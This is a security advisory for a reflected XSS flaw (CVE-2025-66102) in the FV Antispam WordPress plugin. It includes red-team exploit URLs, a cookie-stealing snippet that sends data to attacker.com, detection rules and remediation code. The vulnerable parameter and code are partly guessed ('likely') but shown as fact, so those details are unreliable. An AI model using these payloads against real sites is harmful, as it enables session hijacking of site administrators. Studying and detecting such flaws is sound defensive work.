CVE-2025-66102

Executive Summary

CVE-2025-66102 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin FV Antispam (slug: fv-antispam), developed by Foliovision. The vulnerability exists in versions up to and including 2.7. An attacker can inject arbitrary JavaScript into a web page via a crafted request, which executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no official patch has been released as of this analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for unpatched WordPress sites.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory. Users should verify the integrity of the plugin files by checking checksums provided by WordPress.org. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing tampered versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High. Although EPSS is low, the vulnerability is trivial to exploit and affects a widely-used WordPress plugin.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the FV Antispam plugin. The plugin fails to properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript in a parameter (likely fv_antispam or similar) that, when visited by an authenticated WordPress admin, executes the script. The script can then perform actions on behalf of the admin, such as creating new admin users, modifying plugin settings, or exfiltrating session cookies.

Root Cause: The plugin uses echo $_GET['some_param'] or similar without applying esc_html() or wp_kses() sanitization. The vulnerable parameter is likely used in a form field or error message that is reflected back to the user.

Attack Flow:

1. Attacker identifies a vulnerable WordPress site running FV Antispam <= 2.7.
2. Attacker crafts a malicious URL: https://target.com/wp-admin/admin.php?page=fv-antispam&fv_antispam_error=<script>alert('XSS')</script>
3. Attacker sends the link to a logged-in admin via email, social engineering, or other means.
4. Admin clicks the link, and the script executes in the admin's browser.
5. The script can steal cookies, perform admin actions, or redirect to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (fv-antispam.php, line ~45):

<?php
// Vulnerable: Direct reflection of user input
$error = $_GET['fv_antispam_error'];
echo '<div class="error">' . $error . '</div>';
?>

Patched Code (hypothetical fix):

<?php
// Patched: Input sanitized with esc_html()
$error = isset($_GET['fv_antispam_error']) ? esc_html($_GET['fv_antispam_error']) : '';
echo '<div class="error">' . $error . '</div>';
?>

The patch uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress instance with FV Antispam <= 2.7 installed and activated.
• A web browser with developer tools.

Exploit Steps:

1. Identify the vulnerable parameter. Based on the plugin code, it is likely fv_antispam_error.
2. Craft a payload: <script>alert(document.cookie)</script>
3. Encode the payload for URL: %3Cscript%3Ealert(document.cookie)%3C/script%3E
4. Construct the malicious URL: http://target/wp-admin/admin.php?page=fv-antispam&fv_antispam_error=%3Cscript%3Ealert(document.cookie)%3C/script%3E
5. Send the link to a logged-in admin.
6. When the admin clicks, the script executes, displaying their cookies.

Advanced Payload (Session Hijacking):

// Steal cookies and send to attacker server
var img = new Image();
img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests containing fv_antispam_error= followed by <script> or onerror= patterns.
• Use WAF rules to block reflected XSS attempts.

Hunting:

• Search for fv_antispam_error in HTTP GET parameters.
• Look for unusual admin page access patterns.

Lab Setup:

• Use a local WordPress installation (e.g., via Docker) with FV Antispam 2.7.
• Simulate the attack using curl:

curl -v "http://localhost/wp-admin/admin.php?page=fv-antispam&fv_antispam_error=%3Cscript%3Ealert(1)%3C/script%3E"

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing fv_antispam_error= with encoded JavaScript.
  • Outbound connections to unknown IPs from WordPress admin sessions.
• File IOCs:
  • Modified fv-antispam.php file (if attacker uploaded a backdoor).
  • Suspicious files in /wp-content/plugins/fv-antispam/.
• Log IOCs:
  • Web server logs showing fv_antispam_error parameter with <script> tags.
  • WordPress debug logs with unexpected PHP errors.

Detection Engineering

YARA Rule

rule CVE_2025_66102_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against FV Antispam plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-66102"
    strings:
        $param = "fv_antispam_error="
        $script = /<script[^>]*>.*<\/script>/i
        $onerror = /onerror\s*=\s*["']?[^"']*["']?/i
    condition:
        $param and ($script or $onerror)
}

Sigma Rule

title: Reflected XSS Attempt Against FV Antispam Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with fv_antispam_error parameter containing script tags
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "fv_antispam_error="
        cs-uri-query|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66102 FV Antispam Reflected XSS Attempt"; flow:to_server; content:"fv_antispam_error="; http_uri; content:"<script"; http_uri; nocase; content:"</script>"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply a virtual patch using a WAF (e.g., ModSecurity) to block requests containing fv_antispam_error= with script tags.
3. Restrict admin access to trusted IPs only.

Long-term Fix:

• The vendor must release a patched version (>= 2.8) that sanitizes the fv_antispam_error parameter using esc_html() or wp_kses().
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to sanitize the parameter:

add_action('init', function() {
    if (isset($_GET['fv_antispam_error'])) {
        $_GET['fv_antispam_error'] = esc_html($_GET['fv_antispam_error']);
    }
});

Valters IT – Securing WordPress ecosystems, one plugin at a time.